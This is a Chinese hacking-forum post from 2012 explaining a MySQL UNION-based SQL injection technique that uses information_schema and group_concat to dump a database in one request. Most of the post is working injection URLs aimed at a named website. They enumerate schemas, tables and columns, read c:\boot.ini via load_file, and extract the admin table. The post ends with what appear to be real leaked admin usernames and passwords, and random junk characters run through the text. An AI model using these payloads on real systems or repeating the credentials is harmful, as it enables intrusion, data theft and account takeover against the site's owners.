找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2023|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
! ]" [/ M; l" z/ R' r  U# N但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人6 m& z% }$ X& b* \; W

7 J  g* U7 C; s8 \) c, f6 t
- u( F/ y; n! T& S1 V5 Q优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入) v! U: D0 o: h1 b$ F, w

) z1 }8 C1 v5 j4 u- f缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
) |' E  S/ W/ ]  p4 T# V: f8 S( d' `9 Z
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
* |2 ]1 ?  p1 G1 T$ h6 c在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
  E( {: E+ L" y2 {# J4 g. Q9 {! M+ p  w. o( n
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
6 b1 N0 S. t& m
4 N  K# d! R% I" s. n0 L, G3 B读出所有库:
% ]8 T$ f3 `+ _/ o0 vhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
1 p# s8 k$ h6 w% [. t, x
' J& s$ o0 z/ A! O5 `
; q- {) `% P& w; a  g2 J/ J( M' e( g1 \  U. T. W( O3 G
读出所有表:
: b; |! f/ x, ]http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
+ U6 Z/ F. o4 I
  J/ g4 E. r; L* |# F" l读出所有表字段:' X7 O& h4 [& O3 q) C
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110). c# [( H$ y. z+ G: l; y8 y3 b2 C' K
*/ (97,100,109,105,110)为admin的ascii码 依次类推
2 ?6 y1 R7 e5 ]. F( T# Z3 ]8 y/ l( I
读出所有表字段里的内容:" y' ^4 S# P0 J4 O2 w
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin( G! a3 F& g, Z, p+ r2 ~2 }
: M( U) N( o7 J( j: I; x

" I2 [, k, r$ u3 _1 r8 U* r0 F, L
- Z/ Y8 ~* ?6 Y6 l1 H
6 e+ G8 O5 g# m0 a' M/ T
3 n% }! t( _3 R  k7 |8 S8 Q
; ]. Z7 v5 K6 Y+ ]  b: K# Phttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
' N1 n* A2 m" g- `, N( E' {
% M$ d/ B7 r, t  B: }: ], ~  P" K( Y  q1 I- ~8 _/ d
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%236 I# \7 q7 z, m, i' ]. |! n
3 i6 X/ H8 B% ~6 p3 |& B% t- ?( D# m
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
: p( o+ r( X) c7 h% J/ M3 x3 L: |- D& [& c3 [- _5 o

( A% g$ g! [, m& r7 Jhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
& w5 I5 K3 u) _' P: [4 o' n' ]  |2 E  l' H, B0 b6 Z2 G  J

. W. U) Q$ q, h% i+ ~8 k        webmaster:dzb521123,simlab:simadmin20043233! A" o2 d+ k& [9 t! N+ {6 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表